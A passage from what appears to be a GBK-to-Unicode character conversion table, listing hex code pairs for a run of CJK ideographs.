{0x458d,0x5cb4},{0xb2e1,0x5cb5},{0x468d,0x5cb6},{0xbae1,0x5cb7},{0xb6b0,0x5cb8},
{0x478d,0x5cb9},{0x488d,0x5cba},{0x498d,0x5cbb},{0x4a8d,0x5cbc},{0xb4e1,0x5cbd},
{0x4b8d,0x5cbe},{0xf9bf,0x5cbf},{0x4c8d,0x5cc0},{0xb9e1,0x5cc1},{0x4d8d,0x5cc2},
{0x4e8d,0x5cc3},{0xbbe1,0x5cc4},{0x4f8d,0x5cc5},{0x508d,0x5cc6},{0x518d,0x5cc7},
{0x528d,0x5cc8},{0x538d,0x5cc9},{0x548d,0x5cca},{0xbee1,0x5ccb},{0x558d,0x5ccc},
{0x568d,0x5ccd},{0x578d,0x5cce},{0x588d,0x5ccf},{0x598d,0x5cd0},{0x5a8d,0x5cd1},
{0xbce1,0x5cd2},{0x5b8d,0x5cd3},{0x5c8d,0x5cd4},{0x5d8d,0x5cd5},{0x5e8d,0x5cd6},
{0x5f8d,0x5cd7},{0x608d,0x5cd8},{0xc5d6,0x5cd9},{0x618d,0x5cda},{0x628d,0x5cdb},
{0x638d,0x5cdc},{0x648d,0x5cdd},{0x658d,0x5cde},{0x668d,0x5cdf},{0x678d,0x5ce0},
{0xbfcf,0x5ce1},{0x688d,0x5ce2},{0x698d,0x5ce3},{0xbde1,0x5ce4},{0xbfe1,0x5ce5},
{0xcdc2,0x5ce6},{0x6a8d,0x5ce7},{0xebb6,0x5ce8},{0x6b8d,0x5ce9},{0xf8d3,0x5cea},
{0x6c8d,0x5ceb},{0x6d8d,0x5cec},{0xcdc7,0x5ced},{0x6e8d,0x5cee},{0x6f8d,0x5cef},
{0xe5b7,0x5cf0},{0x708d,0x5cf1},{0x718d,0x5cf2},{0x728d,0x5cf3},{0x738d,0x5cf4},
{0x748d,0x5cf5},{0x758d,0x5cf6},{0x768d,0x5cf7},{0x778d,0x5cf8},{0x788d,0x5cf9},
{0x798d,0x5cfa},{0xfebe,0x5cfb},{0x7a8d,0x5cfc},{0x7b8d,0x5cfd},{0x7c8d,0x5cfe},
{0x7e8d,0x5d00},{0x808d,0x5d01},{0xc0e1,0x5d02},{0xc1e1,0x5d03},{0x818d,0x5d04},
{0x828d,0x5d05},{0xc7e1,0x5d06},{0xe7b3,0x5d07},{0x838d,0x5d08},{0x848d,0x5d09},
{0x858d,0x5d0a},{0x868d,0x5d0b},{0x878d,0x5d0c},{0x888d,0x5d0d},{0xe9c6,0x5d0e},
{0x898d,0x5d0f},{0x8a8d,0x5d10},{0x8b8d,0x5d11},{0x8c8d,0x5d12},{0x8d8d,0x5d13},
{0xdeb4,0x5d14},{0x8e8d,0x5d15},{0xc2d1,0x5d16},{0x8f8d,0x5d17},{0x908d,0x5d18},
{0x918d,0x5d19},{0x928d,0x5d1a},{0xc8e1,0x5d1b},{0x938d,0x5d1c},{0x948d,0x5d1d},
{0xc6e1,0x5d1e},{0x958d,0x5d1f},{0x968d,0x5d20},{0x978d,0x5d21},{0x988d,0x5d22},
{0x998d,0x5d23},{0xc5e1,0x5d24},{0x9a8d,0x5d25},{0xc3e1,0x5d26},{0xc2e1,0x5d27},
{0x9b8d,0x5d28},{0xc0b1,0x5d29},{0x9c8d,0x5d2a},{0x9d8d,0x5d2b},{0x9e8d,0x5d2c},
{0xb8d5,0x5d2d},{0xc4e1,0x5d2e},{0x9f8d,0x5d2f},{0xa08d,0x5d30},{0xa18d,0x5d31},
{0xa28d,0x5d32},{0xa38d,0x5d33},{0xcbe1,0x5d34},{0xa48d,0x5d35},{0xa58d,0x5d36},
{0xa68d,0x5d37},{0xa78d,0x5d38},{0xa88d,0x5d39},{0xa98d,0x5d3a},{0xaa8d,0x5d3b},
{0xab8d,0x5d3c},{0xcce1,0x5d3d},{0xcae1,0x5d3e},{0xac8d,0x5d3f},{0xad8d,0x5d40},
{0xae8d,0x5d41},{0xaf8d,0x5d42},{0xb08d,0x5d43},{0xb18d,0x5d44},{0xb28d,0x5d45},
{0xb38d,0x5d46},{0xfaef,0x5d47},{0xb48d,0x5d48},{0xb58d,0x5d49},{0xd3e1,0x5d4a},
{0xd2e1,0x5d4b},{0xb6c7,0x5d4c},{0xb68d,0x5d4d},{0xb78d,0x5d4e},{0xb88d,0x5d4f},
{0xb98d,0x5d50},{0xba8d,0x5d51},{0xbb8d,0x5d52},{0xbc8d,0x5d53},{0xbd8d,0x5d54},
{0xbe8d,0x5d55},{0xbf8d,0x5d56},{0xc08d,0x5d57},{0xc9e1,0x5d58},{0xc18d,0x5d59},
{0xc28d,0x5d5a},{0xcee1,0x5d5b},{0xc38d,0x5d5c},{0xd0e1,0x5d5d},{0xc48d,0x5d5e},
{0xc58d,0x5d5f},{0xc68d,0x5d60},{0xc78d,0x5d61},{0xc88d,0x5d62},{0xc98d,0x5d63},
{0xca8d,0x5d64},{0xcb8d,0x5d65},{0xcc8d,0x5d66},{0xcd8d,0x5d67},{0xce8d,0x5d68},
{0xd4e1,0x5d69},{0xcf8d,0x5d6a},{0xd1e1,0x5d6b},{0xcde1,0x5d6c},{0xd08d,0x5d6d},
{0xd18d,0x5d6e},{0xcfe1,0x5d6f},{0xd28d,0x5d70},{0xd38d,0x5d71},{0xd48d,0x5d72},
{0xd58d,0x5d73},{0xd5e1,0x5d74},{0xd68d,0x5d75},{0xd78d,0x5d76},{0xd88d,0x5d77},
{0xd98d,0x5d78},{0xda8d,0x5d79},{0xdb8d,0x5d7a},{0xdc8d,0x5d7b},{0xdd8d,0x5d7c},
{0xde8d,0x5d7d},{0xdf8d,0x5d7e},{0xe08d,0x5d7f},{0xe18d,0x5d80},{0xe28d,0x5d81},
{0xd6e1,0x5d82},{0xe38d,0x5d83},{0xe48d,0x5d84},{0xe58d,0x5d85},{0xe68d,0x5d86},
{0xe78d,0x5d87},{0xe88d,0x5d88},{0xe98d,0x5d89},{0xea8d,0x5d8a},{0xeb8d,0x5d8b},
{0xec8d,0x5d8c},{0xed8d,0x5d8d},{0xee8d,0x5d8e},{0xef8d,0x5d8f},{0xf08d,0x5d90},
{0xf18d,0x5d91},{0xf28d,0x5d92},{0xf38d,0x5d93},{0xf48d,0x5d94},{0xf58d,0x5d95},
{0xf68d,0x5d96},{0xf78d,0x5d97},{0xf88d,0x5d98},{0xd7e1,0x5d99},{0xf98d,0x5d9a},
{0xfa8d,0x5d9b},{0xfb8d,0x5d9c},{0xd8e1,0x5d9d},{0xfc8d,0x5d9e},{0xfd8d,0x5d9f},
{0xfe8d,0x5da0},{0x408e,0x5da1},{0x418e,0x5da2},{0x428e,0x5da3},{0x438e,0x5da4},
{0x448e,0x5da5},{0x458e,0x5da6},{0x468e,0x5da7},{0x478e,0x5da8},{0x488e,0x5da9},
{0x498e,0x5daa},{0x4a8e,0x5dab},{0x4b8e,0x5dac},{0x4c8e,0x5dad},{0x4d8e,0x5dae},
{0x4e8e,0x5daf},{0x4f8e,0x5db0},{0x508e,0x5db1},{0x518e,0x5db2},{0x528e,0x5db3},
{0x538e,0x5db4},{0x548e,0x5db5},{0x558e,0x5db6},{0xdae1,0x5db7},{0x568e,0x5db8},
{0x578e,0x5db9},{0x588e,0x5dba},{0x598e,0x5dbb},{0x5a8e,0x5dbc},{0x5b8e,0x5dbd},
{0x5c8e,0x5dbe},{0x5d8e,0x5dbf},{0x5e8e,0x5dc0},{0x5f8e,0x5dc1},{0x608e,0x5dc2},
{0x618e,0x5dc3},{0x628e,0x5dc4},{0xdbe1,0x5dc5},{0x638e,0x5dc6},{0x648e,0x5dc7},
{0x658e,0x5dc8},{0x668e,0x5dc9},{0x678e,0x5dca},{0x688e,0x5dcb},{0x698e,0x5dcc},
{0xa1ce,0x5dcd},{0x6a8e,0x5dce},{0x6b8e,0x5dcf},{0x6c8e,0x5dd0},{0x6d8e,0x5dd1},
{0x6e8e,0x5dd2},{0x6f8e,0x5dd3},{0x708e,0x5dd4},{0x718e,0x5dd5},{0x728e,0x5dd6},
{0x738e,0x5dd7},{0x748e,0x5dd8},{0x758e,0x5dd9},{0x768e,0x5dda},{0xdde7,0x5ddb},
{0x778e,0x5ddc},{0xa8b4,0x5ddd},{0xddd6,0x5dde},{0x788e,0x5ddf},{0x798e,0x5de0},
{0xb2d1,0x5de1},{0xb2b3,0x5de2},{0x7a8e,0x5de3},{0x7b8e,0x5de4},{0xa4b9,0x5de5},
{0xf3d7,0x5de6},{0xc9c7,0x5de7},{0xdebe,0x5de8},{0xaeb9,0x5de9},{0x7c8e,0x5dea},
{0xd7ce,0x5deb},{0x7d8e,0x5dec},{0x7e8e,0x5ded},{0xeeb2,0x5dee},{0xcfdb,0x5def},
{0x808e,0x5df0},{0xbabc,0x5df1},{0xd1d2,0x5df2},{0xc8cb,0x5df3},{0xcdb0,0x5df4},
{0x818e,0x5df5},{0x828e,0x5df6},{0xefcf,0x5df7},{0x838e,0x5df8},{0x848e,0x5df9},
{0x858e,0x5dfa},{0x868e,0x5dfb},{0x878e,0x5dfc},{0xe3d9,0x5dfd},{0xedbd,0x5dfe},
{0x898e,0x5e00},{0xd2b1,0x5e01},{0xd0ca,0x5e02},{0xbcb2,0x5e03},{0x8a8e,0x5e04},
{0xa7cb,0x5e05},{0xabb7,0x5e06},{0x8b8e,0x5e07},{0xa6ca,0x5e08},{0x8c8e,0x5e09},
{0x8d8e,0x5e0a},{0x8e8e,0x5e0b},{0xa3cf,0x5e0c},{0x8f8e,0x5e0d},{0x908e,0x5e0e},
{0xf8e0,0x5e0f},{0xcad5,0x5e10},{0xfbe0,0x5e11},{0x918e,0x5e12},{0x928e,0x5e13},
{0xfae0,0x5e14},{0xc1c5,0x5e15},{0xfbcc,0x5e16},{0x938e,0x5e17},{0xb1c1,0x5e18},
{0xf9e0,0x5e19},{0xe3d6,0x5e1a},{0xafb2,0x5e1b},{0xc4d6,0x5e1c},{0xdbb5,0x5e1d},
{0x948e,0x5e1e},{0x958e,0x5e1f},{0x968e,0x5e20},{0x978e,0x5e21},{0x988e,0x5e22},
{0x998e,0x5e23},{0x9a8e,0x5e24},{0x9b8e,0x5e25},{0xf8b4,0x5e26},{0xa1d6,0x5e27},
{0x9c8e,0x5e28},{0x9d8e,0x5e29},{0x9e8e,0x5e2a},{0x9f8e,0x5e2b},{0xa08e,0x5e2c},
{0xafcf,0x5e2d},{0xefb0,0x5e2e},{0xa18e,0x5e2f},{0xa28e,0x5e30},{0xfce0,0x5e31},
{0xa38e,0x5e32},{0xa48e,0x5e33},{0xa58e,0x5e34},{0xa68e,0x5e35},{0xa78e,0x5e36},
{0xa1e1,0x5e37},{0xa3b3,0x5e38},{0xa88e,0x5e39},{0xa98e,0x5e3a},{0xfde0,0x5e3b},
{0xfee0,0x5e3c},{0xb1c3,0x5e3d},{0xaa8e,0x5e3e},{0xab8e,0x5e3f},{0xac8e,0x5e40},
{0xad8e,0x5e41},{0xddc3,0x5e42},{0xae8e,0x5e43},{0xa2e1,0x5e44},{0xf9b7,0x5e45},
{0xaf8e,0x5e46},{0xb08e,0x5e47},{0xb18e,0x5e48},{0xb28e,0x5e49},{0xb38e,0x5e4a},
{0xb48e,0x5e4b},{0xcfbb,0x5e4c},{0xb58e,0x5e4d},{0xb68e,0x5e4e},{0xb78e,0x5e4f},
{0xb88e,0x5e50},{0xb98e,0x5e51},{0xba8e,0x5e52},{0xbb8e,0x5e53},{0xa3e1,0x5e54},
{0xbbc4,0x5e55},{0xbc8e,0x5e56},{0xbd8e,0x5e57},{0xbe8e,0x5e58},{0xbf8e,0x5e59},
{0xc08e,0x5e5a},{0xa4e1,0x5e5b},{0xc18e,0x5e5c},{0xc28e,0x5e5d},{0xa5e1,0x5e5e},
{0xc38e,0x5e5f},{0xc48e,0x5e60},{0xa6e1,0x5e61},{0xb1b4,0x5e62},{0xc58e,0x5e63},
{0xc68e,0x5e64},{0xc78e,0x5e65},{0xc88e,0x5e66},{0xc98e,0x5e67},{0xca8e,0x5e68},
{0xcb8e,0x5e69},{0xcc8e,0x5e6a},{0xcd8e,0x5e6b},{0xce8e,0x5e6c},{0xcf8e,0x5e6d},
{0xd08e,0x5e6e},{0xd18e,0x5e6f},{0xd28e,0x5e70},{0xd38e,0x5e71},{0xc9b8,0x5e72},
{0xbdc6,0x5e73},{0xeac4,0x5e74},{0xd48e,0x5e75},{0xa2b2,0x5e76},{0xd58e,0x5e77},
{0xd2d0,0x5e78},{0xd68e,0x5e79},{0xdbe7,0x5e7a},{0xc3bb,0x5e7b},{0xd7d3,0x5e7c},
{0xc4d3,0x5e7d},{0xd78e,0x5e7e},{0xe3b9,0x5e7f},{0xcfe2,0x5e80},{0xd88e,0x5e81},
{0xd98e,0x5e82},{0xda8e,0x5e83},{0xafd7,0x5e84},{0xdb8e,0x5e85},{0xecc7,0x5e86},
{0xd3b1,0x5e87},{0xdc8e,0x5e88},{0xdd8e,0x5e89},{0xb2b4,0x5e8a},{0xd1e2,0x5e8b},
{0xde8e,0x5e8c},{0xdf8e,0x5e8d},{0xe08e,0x5e8e},{0xf2d0,0x5e8f},{0xaec2,0x5e90},
{0xd0e2,0x5e91},{0xe18e,0x5e92},{0xe2bf,0x5e93},{0xa6d3,0x5e94},{0xd7b5,0x5e95},
{0xd2e2,0x5e96},{0xeab5,0x5e97},{0xe28e,0x5e98},{0xedc3,0x5e99},{0xfdb8,0x5e9a},
{0xe38e,0x5e9b},{0xaeb8,0x5e9c},{0xe48e,0x5e9d},{0xd3c5,0x5e9e},{0xcfb7,0x5e9f},
{0xd4e2,0x5ea0},{0xe58e,0x5ea1},{0xe68e,0x5ea2},{0xe78e,0x5ea3},{0xe88e,0x5ea4},
{0xd3e2,0x5ea5},{0xc8b6,0x5ea6},{0xf9d7,0x5ea7},{0xe98e,0x5ea8},{0xea8e,0x5ea9},
{0xeb8e,0x5eaa},{0xec8e,0x5eab},{0xed8e,0x5eac},{0xa5cd,0x5ead},{0xee8e,0x5eae},
{0xef8e,0x5eaf},{0xf08e,0x5eb0},{0xf18e,0x5eb1},{0xf28e,0x5eb2},{0xd8e2,0x5eb3},
{0xf38e,0x5eb4},{0xd6e2,0x5eb5},{0xfcca,0x5eb6},{0xb5bf,0x5eb7},{0xb9d3,0x5eb8},
{0xd5e2,0x5eb9},{0xf48e,0x5eba},{0xf58e,0x5ebb},{0xf68e,0x5ebc},{0xf78e,0x5ebd},
{0xd7e2,0x5ebe},{0xf88e,0x5ebf},{0xf98e,0x5ec0},{0xfa8e,0x5ec1},{0xfb8e,0x5ec2},
{0xfc8e,0x5ec3},{0xfd8e,0x5ec4},{0xfe8e,0x5ec5},{0x408f,0x5ec6},{0x418f,0x5ec7},
{0x428f,0x5ec8},{0xaec1,0x5ec9},{0xc8c0,0x5eca},{0x438f,0x5ecb},{0x448f,0x5ecc},
{0x458f,0x5ecd},{0x468f,0x5ece},{0x478f,0x5ecf},{0x488f,0x5ed0},{0xdbe2,0x5ed1},
{0xdae2,0x5ed2},{0xaac0,0x5ed3},{0x498f,0x5ed4},{0x4a8f,0x5ed5},{0xcec1,0x5ed6},
{0x4b8f,0x5ed7},{0x4c8f,0x5ed8},{0x4d8f,0x5ed9},{0x4e8f,0x5eda},{0xdce2,0x5edb},
{0x4f8f,0x5edc},{0x508f,0x5edd},{0x518f,0x5ede},{0x528f,0x5edf},{0x538f,0x5ee0},
{0x548f,0x5ee1},{0x558f,0x5ee2},{0x568f,0x5ee3},{0x578f,0x5ee4},{0x588f,0x5ee5},
{0x598f,0x5ee6},{0x5a8f,0x5ee7},{0xdde2,0x5ee8},{0x5b8f,0x5ee9},{0xdee2,0x5eea},
{0x5c8f,0x5eeb},{0x5d8f,0x5eec},{0x5e8f,0x5eed},{0x5f8f,0x5eee},{0x608f,0x5eef},
{0x618f,0x5ef0},{0x628f,0x5ef1},{0x638f,0x5ef2},{0x648f,0x5ef3},{0xc8db,0x5ef4},
{0x658f,0x5ef5},{0xd3d1,0x5ef6},{0xa2cd,0x5ef7},{0x668f,0x5ef8},{0x678f,0x5ef9},
{0xa8bd,0x5efa},{0x688f,0x5efb},{0x698f,0x5efc},{0x6a8f,0x5efd},{0xc3de,0x5efe},
{0xaabf,0x5f00},{0xcddb,0x5f01},{0xecd2,0x5f02},{0xfac6,0x5f03},{0xaac5,0x5f04},
{0x6b8f,0x5f05},{0x6c8f,0x5f06},{0x6d8f,0x5f07},{0xc4de,0x5f08},{0x6e8f,0x5f09},
{0xd7b1,0x5f0a},{0xaedf,0x5f0b},{0x6f8f,0x5f0c},{0x708f,0x5f0d},{0x718f,0x5f0e},
{0xbdca,0x5f0f},{0x728f,0x5f10},{0xb1df,0x5f11},{0x738f,0x5f12},{0xadb9,0x5f13},
{0x748f,0x5f14},{0xfdd2,0x5f15},{0x758f,0x5f16},{0xa5b8,0x5f17},{0xebba,0x5f18},
{0x768f,0x5f19},{0x778f,0x5f1a},{0xdab3,0x5f1b},{0x788f,0x5f1c},{0x798f,0x5f1d},
{0x7a8f,0x5f1e},{0xdcb5,0x5f1f},{0xc5d5,0x5f20},{0x7b8f,0x5f21},{0x7c8f,0x5f22},
{0x7d8f,0x5f23},{0x7e8f,0x5f24},{0xd6c3,0x5f25},{0xd2cf,0x5f26},{0xa1bb,0x5f27},
{0x808f,0x5f28},{0xf3e5,0x5f29},{0xf2e5,0x5f2a},{0x818f,0x5f2b},{0x828f,0x5f2c},
{0xf4e5,0x5f2d},{0x838f,0x5f2e},{0xe4cd,0x5f2f},{0x848f,0x5f30},{0xf5c8,0x5f31},
{0x858f,0x5f32},{0x868f,0x5f33},{0x878f,0x5f34},{0x888f,0x5f35},{0x898f,0x5f36},
{0x8a8f,0x5f37},{0x8b8f,0x5f38},{0xafb5,0x5f39},{0xbfc7,0x5f3a},{0x8c8f,0x5f3b},
{0xf6e5,0x5f3c},{0x8d8f,0x5f3d},{0x8e8f,0x5f3e},{0x8f8f,0x5f3f},{0xb0ec,0x5f40},
{0x908f,0x5f41},{0x918f,0x5f42},{0x928f,0x5f43},{0x938f,0x5f44},{0x948f,0x5f45},
{0x958f,0x5f46},{0x968f,0x5f47},{0x978f,0x5f48},{0x988f,0x5f49},{0x998f,0x5f4a},
{0x9a8f,0x5f4b},{0x9b8f,0x5f4c},{0x9c8f,0x5f4d},{0x9d8f,0x5f4e},{0x9e8f,0x5f4f},
{0xe6e5,0x5f50},{0x9f8f,0x5f51},{0xe9b9,0x5f52},{0xb1b5,0x5f53},{0xa08f,0x5f54},
{0xbcc2,0x5f55},{0xe8e5,0x5f56},{0xe7e5,0x5f57},{0xe9e5,0x5f58},{0xa18f,0x5f59},
{0xa28f,0x5f5a},{0xa38f,0x5f5b},{0xa48f,0x5f5c},{0xcdd2,0x5f5d},{0xa58f,0x5f5e},
{0xa68f,0x5f5f},{0xa78f,0x5f60},{0xeae1,0x5f61},{0xced0,0x5f62},{0xa88f,0x5f63},
{0xaecd,0x5f64},{0xa98f,0x5f65},{0xe5d1,0x5f66},{0xaa8f,0x5f67},{0xab8f,0x5f68},
{0xcab2,0x5f69},{0xebb1,0x5f6a},{0xac8f,0x5f6b},{0xf2b1,0x5f6c},{0xedc5,0x5f6d},
{0xad8f,0x5f6e},{0xae8f,0x5f6f},{0xc3d5,0x5f70},{0xb0d3,0x5f71},{0xaf8f,0x5f72},
{0xdce1,0x5f73},{0xb08f,0x5f74},{0xb18f,0x5f75},{0xb28f,0x5f76},{0xdde1,0x5f77},
{0xb38f,0x5f78},{0xdbd2,0x5f79},{0xb48f,0x5f7a},{0xb9b3,0x5f7b},{0xcbb1,0x5f7c},
{0xb58f,0x5f7d},{0xb68f,0x5f7e},{0xb78f,0x5f7f},{0xf9cd,0x5f80},{0xf7d5,0x5f81},
{0xdee1,0x5f82},{0xb88f,0x5f83},{0xb6be,0x5f84},{0xfdb4,0x5f85},{0xb98f,0x5f86},
{0xdfe1,0x5f87},{0xdcba,0x5f88},{0xe0e1,0x5f89},{0xb2bb,0x5f8a},{0xc9c2,0x5f8b},
{0xe1e1,0x5f8c},{0xba8f,0x5f8d},{0xbb8f,0x5f8e},{0xbc8f,0x5f8f},{0xecd0,0x5f90},
{0xbd8f,0x5f91},{0xbdcd,0x5f92},{0xbe8f,0x5f93},{0xbf8f,0x5f94},{0xe2e1,0x5f95},
{0xc08f,0x5f96},{0xc3b5,0x5f97},{0xc7c5,0x5f98},{0xe3e1,0x5f99},{0xc18f,0x5f9a},
{0xc28f,0x5f9b},{0xe4e1,0x5f9c},{0xc38f,0x5f9d},{0xc48f,0x5f9e},{0xc58f,0x5f9f},
{0xc68f,0x5fa0},{0xf9d3,0x5fa1},{0xc78f,0x5fa2},{0xc88f,0x5fa3},{0xc98f,0x5fa4},
{0xca8f,0x5fa5},{0xcb8f,0x5fa6},{0xcc8f,0x5fa7},{0xe5e1,0x5fa8},{0xcd8f,0x5fa9},
{0xadd1,0x5faa},{0xce8f,0x5fab},{0xcf8f,0x5fac},{0xe6e1,0x5fad},{0xa2ce,0x5fae},
{0xd08f,0x5faf},{0xd18f,0x5fb0},{0xd28f,0x5fb1},{0xd38f,0x5fb2},{0xd48f,0x5fb3},
{0xd58f,0x5fb4},{0xe7e1,0x5fb5},{0xd68f,0x5fb6},{0xc2b5,0x5fb7},{0xd78f,0x5fb8},
{0xd88f,0x5fb9},{0xd98f,0x5fba},{0xda8f,0x5fbb},{0xe8e1,0x5fbc},{0xd5bb,0x5fbd},
{0xdb8f,0x5fbe},{0xdc8f,0x5fbf},{0xdd8f,0x5fc0},{0xde8f,0x5fc1},{0xdf8f,0x5fc2},
{0xc4d0,0x5fc3},{0xe0e2,0x5fc4},{0xd8b1,0x5fc5},{0xe4d2,0x5fc6},{0xe08f,0x5fc7},
{0xe18f,0x5fc8},{0xe1e2,0x5fc9},{0xe28f,0x5fca},{0xe38f,0x5fcb},{0xc9bc,0x5fcc},
{0xccc8,0x5fcd},{0xe48f,0x5fce},{0xe3e2,0x5fcf},{0xfeec,0x5fd0},{0xfdec,0x5fd1},
{0xafdf,0x5fd2},{0xe58f,0x5fd3},{0xe68f,0x5fd4},{0xe78f,0x5fd5},{0xe2e2,0x5fd6},
{0xbed6,0x5fd7},{0xfccd,0x5fd8},{0xa6c3,0x5fd9},{0xe88f,0x5fda},{0xe98f,0x5fdb},
{0xea8f,0x5fdc},{0xc3e3,0x5fdd},{0xeb8f,0x5fde},{0xec8f,0x5fdf},{0xd2d6,0x5fe0},
{0xe7e2,0x5fe1},{0xed8f,0x5fe2},{0xee8f,0x5fe3},{0xe8e2,0x5fe4},{0xef8f,0x5fe5},
{0xf08f,0x5fe6},{0xc7d3,0x5fe7},{0xf18f,0x5fe8},{0xf28f,0x5fe9},{0xece2,0x5fea},
{0xecbf,0x5feb},{0xf38f,0x5fec},{0xede2,0x5fed},{0xe5e2,0x5fee},{0xf48f,0x5fef},
{0xf58f,0x5ff0},{0xc0b3,0x5ff1},{0xf68f,0x5ff2},{0xf78f,0x5ff3},{0xf88f,0x5ff4},
{0xeec4,0x5ff5},{0xf98f,0x5ff6},{0xfa8f,0x5ff7},{0xeee2,0x5ff8},{0xfb8f,0x5ff9},
{0xfc8f,0x5ffa},{0xc3d0,0x5ffb},{0xfd8f,0x5ffc},{0xf6ba,0x5ffd},{0xe9e2,0x5ffe},
{0xb3bb,0x6000},{0xaccc,0x6001},{0xcbcb,0x6002},{0xe4e2,0x6003},{0xe6e2,0x6004},
{0xeae2,0x6005},{0xebe2,0x6006},{0xfe8f,0x6007},{0x4090,0x6008},{0x4190,0x6009},
{0xf7e2,0x600a},{0x4290,0x600b},{0x4390,0x600c},{0xf4e2,0x600d},{0xf5d4,0x600e},
{0xf3e2,0x600f},{0x4490,0x6010},{0x4590,0x6011},{0xadc5,0x6012},{0x4690,0x6013},
{0xfad5,0x6014},{0xc2c5,0x6015},{0xc0b2,0x6016},{0x4790,0x6017},{0x4890,0x6018},
{0xefe2,0x6019},{0x4990,0x601a},{0xf2e2,0x601b},{0xafc1,0x601c},{0xbccb,0x601d},
{0x4a90,0x601e},{0x4b90,0x601f},{0xa1b5,0x6020},{0xf9e2,0x6021},{0x4c90,0x6022},
{0x4d90,0x6023},{0x4e90,0x6024},{0xb1bc,0x6025},{0xf1e2,0x6026},{0xd4d0,0x6027},
{0xb9d4,0x6028},{0xf5e2,0x6029},{0xd6b9,0x602a},{0xf6e2,0x602b},{0x4f90,0x602c},
{0x5090,0x602d},{0x5190,0x602e},{0xd3c7,0x602f},{0x5290,0x6030},{0x5390,0x6031},
{0x5490,0x6032},{0x5590,0x6033},{0x5690,0x6034},{0xf0e2,0x6035},{0x5790,0x6036},
{0x5890,0x6037},{0x5990,0x6038},{0x5a90,0x6039},{0x5b90,0x603a},{0xdcd7,0x603b},
{0xa1ed,0x603c},{0x5c90,0x603d},{0x5d90,0x603e},{0xf8e2,0x603f},{0x5e90,0x6040},
{0xa5ed,0x6041},{0xfee2,0x6042},{0xd1ca,0x6043},{0x5f90,0x6044},{0x6090,0x6045},
{0x6190,0x6046},{0x6290,0x6047},{0x6390,0x6048},{0x6490,0x6049},{0x6590,0x604a},
{0xb5c1,0x604b},{0x6690,0x604c},{0xd0bb,0x604d},{0x6790,0x604e},{0x6890,0x604f},
{0xd6bf,0x6050},{0x6990,0x6051},{0xe3ba,0x6052},{0x6a90,0x6053},{0x6b90,0x6054},
{0xa1cb,0x6055},{0x6c90,0x6056},{0x6d90,0x6057},{0x6e90,0x6058},{0xa6ed,0x6059},
{0xa3ed,0x605a},{0x6f90,0x605b},{0x7090,0x605c},{0xa2ed,0x605d},{0x7190,0x605e},
{0x7290,0x605f},{0x7390,0x6060},{0x7490,0x6061},{0xd6bb,0x6062},{0xa7ed,0x6063},
{0xf4d0,0x6064},{0x7590,0x6065},{0x7690,0x6066},{0xa4ed,0x6067},{0xdeba,0x6068},
{0xf7b6,0x6069},{0xa1e3,0x606a},{0xb2b6,0x606b},{0xf1cc,0x606c},{0xa7b9,0x606d},
{0x7790,0x606e},{0xa2cf,0x606f},{0xa1c7,0x6070},{0x7890,0x6071},{0x7990,0x6072},
{0xd2bf,0x6073},{0x7a90,0x6074},{0x7b90,0x6075},{0xf1b6,0x6076},{0x7c90,0x6077},
{0xfae2,0x6078},{0xfbe2,0x6079},{0xfde2,0x607a},{0xfce2,0x607b},{0xd5c4,0x607c},
{0xa2e3,0x607d},{0x7d90,0x607e},{0xc1d3,0x607f},{0x7e90,0x6080},{0x8090,0x6081},
{0x8190,0x6082},{0xa7e3,0x6083},{0xc4c7,0x6084},{0x8290,0x6085},{0x8390,0x6086},
{0x8490,0x6087},{0x8590,0x6088},{0xa4cf,0x6089},{0x8690,0x608a},{0x8790,0x608b},
{0xa9e3,0x608c},{0xb7ba,0x608d},{0x8890,0x608e},{0x8990,0x608f},{0x8a90,0x6090},
{0x8b90,0x6091},{0xa8e3,0x6092},{0x8c90,0x6093},{0xdabb,0x6094},{0x8d90,0x6095},
{0xa3e3,0x6096},{0x8e90,0x6097},{0x8f90,0x6098},{0x9090,0x6099},{0xa4e3,0x609a},
{0xaae3,0x609b},{0x9190,0x609c},{0xa6e3,0x609d},{0x9290,0x609e},{0xf2ce,0x609f},
{0xc6d3,0x60a0},{0x9390,0x60a1},{0x9490,0x60a2},{0xbcbb,0x60a3},{0x9590,0x60a4},
{0x9690,0x60a5},{0xc3d4,0x60a6},{0x9790,0x60a7},{0xfac4,0x60a8},{0x9890,0x60a9},
{0x9990,0x60aa},{0xa8ed,0x60ab},{0xfcd0,0x60ac},{0xa5e3,0x60ad},{0x9a90,0x60ae},
{0xf5c3,0x60af},{0x9b90,0x60b0},{0xade3,0x60b1},{0xafb1,0x60b2},{0x9c90,0x60b3},
{0xb2e3,0x60b4},{0x9d90,0x60b5},{0x9e90,0x60b6},{0x9f90,0x60b7},{0xc2bc,0x60b8},
{0xa090,0x60b9},{0xa190,0x60ba},{0xace3,0x60bb},{0xbfb5,0x60bc},{0xa290,0x60bd},
{0xa390,0x60be},{0xa490,0x60bf},{0xa590,0x60c0},{0xa690,0x60c1},{0xa790,0x60c2},
{0xa890,0x60c3},{0xa990,0x60c4},{0xe9c7,0x60c5},{0xb0e3,0x60c6},{0xaa90,0x60c7},
{0xab90,0x60c8},{0xac90,0x60c9},{0xaabe,0x60ca},{0xefcd,0x60cb},{0xad90,0x60cc},
{0xae90,0x60cd},{0xaf90,0x60ce},{0xb090,0x60cf},{0xb190,0x60d0},{0xf3bb,0x60d1},
{0xb290,0x60d2},{0xb390,0x60d3},{0xb490,0x60d4},{0xe8cc,0x60d5},{0xb590,0x60d6},
{0xb690,0x60d7},{0xafe3,0x60d8},{0xb790,0x60d9},{0xb1e3,0x60da},{0xb890,0x60db},
{0xa7cf,0x60dc},{0xaee3,0x60dd},{0xb990,0x60de},{0xa9ce,0x60df},{0xddbb,0x60e0},
{0xba90,0x60e1},{0xbb90,0x60e2},{0xbc90,0x60e3},{0xbd90,0x60e4},{0xbe90,0x60e5},
{0xebb5,0x60e6},{0xe5be,0x60e7},{0xd2b2,0x60e8},{0xcdb3,0x60e9},{0xbf90,0x60ea},
{0xb9b1,0x60eb},{0xabe3,0x60ec},{0xd1b2,0x60ed},{0xacb5,0x60ee},{0xdfb9,0x60ef},
{0xe8b6,0x60f0},{0xc090,0x60f1},{0xc190,0x60f2},{0xebcf,0x60f3},{0xb7e3,0x60f4},
{0xc290,0x60f5},{0xccbb,0x60f6},{0xc390,0x60f7},{0xc490,0x60f8},{0xc7c8,0x60f9},
{0xcad0,0x60fa},{0xc590,0x60fb},{0xc690,0x60fc},{0xc790,0x60fd},{0xc890,0x60fe},
{0xb8e3,0x6100},{0xeeb3,0x6101},{0xca90,0x6102},{0xcb90,0x6103},{0xcc90,0x6104},
